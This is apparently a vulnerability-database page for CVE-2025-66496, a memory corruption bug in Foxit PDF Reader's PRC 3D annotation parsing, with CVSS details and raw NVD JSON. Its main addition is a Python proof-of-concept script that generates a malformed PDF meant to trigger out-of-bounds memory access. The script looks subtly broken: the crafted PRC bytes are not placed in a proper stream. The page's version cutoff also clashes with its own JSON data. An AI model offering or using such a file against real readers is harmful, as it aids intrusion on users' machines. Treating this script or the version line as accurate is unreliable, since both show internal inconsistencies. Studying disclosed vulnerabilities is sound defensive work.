Security Vulnerability Report
中文
CVE-2025-66496 CVSS 5.3 MEDIUM

CVE-2025-66496

Published: 2025-12-19 07:16:03
Last Modified: 2025-12-23 17:36:35
Source: 14984358-7092-470d-8f34-ade47a7658a2

Description

A memory corruption vulnerability exists in the 3D annotation handling of Foxit PDF Reader due to insufficient bounds checking when parsing PRC data. When opening a PDF file containing malformed or specially crafted PRC content, out-of-bounds memory access may occur, resulting in memory corruption.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Foxit PDF Reader < 2024.12.19.xxxxxx

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-66496 PoC - Foxit PDF Reader PRC Memory Corruption This PoC generates a malformed PDF with crafted PRC data to trigger an out-of-bounds memory access in Foxit PDF Reader's 3D annotation handling. Note: This is for educational/research purposes only. """ import struct from io import BytesIO def create_crafted_prc_data(): """ Create malformed PRC data designed to trigger boundary check bypass. The PRC data contains invalid offsets and oversized data fields. """ prc_header = b'PRC\x00' # PRC file signature prc_version = struct.pack('<H', 1) # Version 1 # Crafted header with invalid size values to bypass boundary checks prc_size = struct.pack('<I', 0xFFFFFFFF) # Malformed size value # Crafted data with out-of-bounds offsets prc_data = b'\x00' * 256 # Padding to trigger OOB access prc_data += b'\xFF' * 128 # Overwrite marker # Malformed object references malformed_refs = b'\xCC' * 64 # Invalid reference data return prc_header + prc_version + prc_size + prc_data + malformed_refs def create_crafted_3d_annotation(): """ Create a 3D annotation object with crafted PRC content stream. """ prc_data = create_crafted_prc_data() # 3D annotation dictionary with crafted AP (Appearance) stream annotation = b'<<\n' annotation += b'/Type /Annot\n' annotation += b'/Subtype /3D\n' annotation += b'/AP <<\n' annotation += b' /N <<\n' annotation += b' /Length ' + str(len(prc_data)).encode() + b'\n' annotation += b' >>\n' annotation += b'>>\n' annotation += b'/Contents (Malformed PRC Data)\n' annotation += b'>>' return annotation + prc_data def create_malformed_pdf(): """ Generate a PDF file with malformed 3D annotation containing crafted PRC data. """ pdf = b'%PDF-1.7\n' pdf += b'%\xe2\xe3\xcf\xd3\n' # Binary comment # Object 1: Catalog obj1_offset = len(pdf) pdf += b'1 0 obj\n' pdf += b'<< /Type /Catalog /Pages 2 0 R >>\n' pdf += b'endobj\n\n' # Object 2: Pages obj2_offset = len(pdf) pdf += b'2 0 obj\n' pdf += b'<< /Type /Pages /Kids [3 0 R] /Count 1 >>\n' pdf += b'endobj\n\n' # Object 3: Page with 3D annotation obj3_offset = len(pdf) pdf += b'3 0 obj\n' pdf += b'<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Annots [4 0 R] >>\n' pdf += b'endobj\n\n' # Object 4: 3D Annotation with crafted PRC data obj4_offset = len(pdf) crafted_annotation = create_crafted_3d_annotation() pdf += b'4 0 obj\n' pdf += crafted_annotation + b'\n' pdf += b'endobj\n\n' # Cross-reference table xref_offset = len(pdf) pdf += b'xref\n' pdf += b'0 5\n' pdf += b'0000000000 65535 f \n' pdf += f'{obj1_offset:010d} 00000 n \n'.encode() pdf += f'{obj2_offset:010d} 00000 n \n'.encode() pdf += f'{obj3_offset:010d} 00000 n \n'.encode() pdf += f'{obj4_offset:010d} 00000 n \n'.encode() # Trailer pdf += b'trailer\n' pdf += b'<< /Size 5 /Root 1 0 R >>\n' pdf += b'startxref\n' pdf += str(xref_offset).encode() + b'\n' pdf += b'%%EOF\n' return pdf def main(): """ Main function to generate the PoC PDF file. """ print('[+] Generating CVE-2025-66496 PoC PDF...') print('[+] Target: Foxit PDF Reader 3D annotation PRC parsing') print('[+] Vulnerability: Memory corruption due to insufficient bounds checking') pdf_content = create_malformed_pdf() output_file = 'CVE-2025-66496-poc.pdf' with open(output_file, 'wb') as f: f.write(pdf_content) print(f'[+] PoC PDF generated: {output_file}') print(f'[+] File size: {len(pdf_content)} bytes') print('[!] Note: This PoC is for research purposes only.') if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66496", "sourceIdentifier": "14984358-7092-470d-8f34-ade47a7658a2", "published": "2025-12-19T07:16:02.577", "lastModified": "2025-12-23T17:36:35.173", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A memory corruption vulnerability exists in the 3D annotation handling of Foxit PDF Reader due to insufficient bounds checking when parsing PRC data. When opening a PDF file containing malformed or specially crafted PRC content, out-of-bounds memory access may occur, resulting in memory corruption."}], "metrics": {"cvssMetricV31": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionEndIncluding": "13.2.1.23955", "matchCriteriaId": "AAE67A0F-4DFE-4268-90D5-789CCA2155A6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0.0.33046", "versionEndIncluding": "14.0.1.33197", "matchCriteriaId": "F1694C31-1717-40B3-9E11-773E39F288A8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.1.0.15510", "versionEndIncluding": "2023.3.0.23028", "matchCriteriaId": "0C75FEE6-54F3-49C6-BAEA-A09D23BE5D64"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2024.1.0.23997", "versionEndIncluding": "2024.4.1.27687", "matchCriteriaId": "2C06BC41-9831-4AE3-B10B-3FC313D01580"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.1.0.27937", "versionEndIncluding": "2025.2.1.33197", "matchCriteriaId": "4AC7F7F1-B05D-48C7-9DD3-CFC7CBA2E275"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025.2.1.33197", "matchCriteriaId": "538915D1-1531-44A8-B15D-BCFE1356BCB5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://www.foxit.com/support/security-bulletins.html", "source": "14984358-7092-470d-8f34-ade47a7658a2", "tags": ["Vendor Advisory"]}]}}